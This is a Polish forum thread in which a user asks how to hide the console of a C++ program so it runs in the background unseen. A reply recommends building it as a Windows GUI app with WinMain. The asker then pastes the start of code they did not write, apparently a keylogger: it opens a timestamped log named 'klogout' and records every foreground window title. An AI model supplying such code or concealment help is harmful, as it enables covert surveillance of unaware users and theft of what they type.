Jak w najprostszy sposób ukryć konsolę? Potrzebuję, żeby program działał w tle i był możliwie najmniej widoczny. C++
0
0
Stwórz projekt Windows i zamiast main
daj WinMain
, konsola w ogóle się nie wyświetli wtedy.
#include <Windows.h>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}
0
Generalnie kod nie był pisany przeze mnie, więc ja na tym się zbytnio nie znam, zależy mi tylko na tym żeby działał w tle.
Oryginalnie początek tego kodu wygląda tak
#include "main.h"
using namespace std;
int main(int argc, char *argv[]){
printf("%s %d.%d.%d (%s %s)\n", PROJECT_NAME, PROJECT_VERSION_MAJOR, PROJECT_VERSION_MINOR, PROJECT_VERSION_PATCH, __DATE__, __TIME__);
puts(PROJECT_COPYRIGHT);
puts("");
string basepath = dirBasename(getSelfPath());
time_t rawtime;
struct tm *timeinfo;
time(&rawtime);
timeinfo = localtime(&rawtime);
char filename[MAX_PATH];
char filepath[MAX_PATH];
strftime(filename, 100, "%Y-%m-%d_%H-%M-%S", timeinfo);
sprintf(filepath, "%s\\%s%s", basepath.c_str(), filename, FILEEXT);
//printf("filepath '%s'\n", filepath); exit(0);
string lastTitle = "";
ofstream klogout(filepath);
//SHORT lastc = 0;
while(1){
Sleep(2); // give other programs time to run
// get the active windowtitle
char title[1024];
HWND hwndHandle = GetForegroundWindow();
GetWindowText(hwndHandle, title, 1023);
if(lastTitle != title){
klogout << endl << endl << "Window: ";
#ifdef DEBUG
cout << endl << endl << "Window: ";
#endif
if(strlen(title) == 0){
klogout << "NO ACTIVE WINDOW";
#ifdef DEBUG
cout << "NO ACTIVE WINDOW";
#endif
}
else{
klogout << "'" << title << "'";
#ifdef DEBUG
cout << "'" << title << "'";
#endif
}
klogout << endl;
#ifdef DEBUG
cout << endl;
#endif
lastTitle = title;
}
Rozumiem, że mam go podmienić z twoim, tak? Później jest kompilowany przez MinGW